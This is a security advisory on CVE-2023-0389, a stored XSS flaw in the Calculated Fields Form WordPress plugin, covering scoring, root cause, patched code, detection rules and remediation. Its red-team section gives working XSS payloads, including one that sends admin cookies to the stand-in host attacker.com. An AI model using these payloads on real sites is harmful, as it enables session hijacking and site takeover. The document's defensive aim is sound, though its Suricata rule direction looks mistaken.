CVE-2023-0389

Executive Summary

CVE-2023-0389 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin (versions before 1.1.151). The plugin fails to properly sanitize and escape certain form settings, allowing high-privilege users (e.g., administrators) to inject malicious scripts. In a multisite WordPress configuration, where the unfiltered_html capability is typically disallowed for non-super admins, this flaw enables privilege escalation and persistent compromise of the site. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the plugin’s widespread use in form-building scenarios increases the attack surface for multisite environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (admin)
• User Interaction: Required (victim must view the malicious form settings)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite setups, lower-privileged admins can escalate to super admin privileges.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s settings page where form configurations are stored. The plugin does not sanitize or escape output when rendering these settings in the admin dashboard. An attacker with admin privileges can inject arbitrary JavaScript into form setting fields (e.g., form name, description, or custom CSS/JS fields). When another admin (or super admin) views the settings page, the injected script executes in their browser session.

Key Technical Details:

• Root Cause: Lack of output escaping (esc_html(), esc_attr()) and input sanitization (sanitize_text_field(), wp_kses()) on form settings.
• Attack Vector: Admin dashboard → Form settings → Stored XSS payload.
• Impact: Session hijacking, forced admin actions (e.g., creating new admin users), defacement, or data exfiltration.
• Multisite Specific: In WordPress multisite, non-super admins cannot use unfiltered_html. This vulnerability bypasses that restriction because the plugin does not enforce proper sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.1.151):

// In admin settings display
echo '<input type="text" name="form_name" value="' . $form_name . '" />';

The $form_name variable is output directly without escaping.

Patched Code (1.1.151+):

// In admin settings display
echo '<input type="text" name="form_name" value="' . esc_attr( $form_name ) . '" />';

The esc_attr() function ensures the value is safely HTML-encoded.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multisite installation with the vulnerable plugin.
• Admin-level access to a subsite (or network admin).

Steps:

1. Navigate to Calculated Fields Form → Settings.
2. In the Form Name field, inject a payload:

   "><script>alert('XSS')</script>
   

3. Save the settings.
4. When a super admin visits the same settings page, the script executes.

Advanced Payload (Session Hijacking):

"><script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor admin activity logs for unexpected changes to form settings.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin.php?page=cp_calculated_fields_form.

Hardening:

• Upgrade to version 1.1.151 or later.
• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Changes: Modified plugin files in /wp-content/plugins/calculated-fields-form/ (specifically admin pages).
• Database Entries: Suspicious entries in wp_options or wp_postmeta containing JavaScript payloads.
• Network Traffic: Outbound requests to attacker-controlled domains from admin dashboard.
• Logs: wp-admin/admin-ajax.php requests with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2023_0389_Calculated_Fields_Form_XSS {
    meta:
        description = "Detects stored XSS payloads in Calculated Fields Form plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-0389"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = /wp-content\/plugins\/calculated-fields-form/
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Calculated Fields Form Plugin
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via form settings in Calculated Fields Form plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin.php?page=cp_calculated_fields_form'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in form settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-0389 Stored XSS in Calculated Fields Form"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=cp_calculated_fields_form"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the plugin to version 1.1.151 or later.
2. Audit all admin accounts for unauthorized changes.
3. Review form settings for any suspicious content.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce least privilege for WordPress admin roles.
• Regularly update all plugins and themes.
• Use security plugins (e.g., Wordfence) to monitor file changes.

Workaround (if upgrade is not possible):

• Disable the plugin temporarily.
• Restrict access to the plugin settings page via .htaccess or IP whitelisting.

Valters IT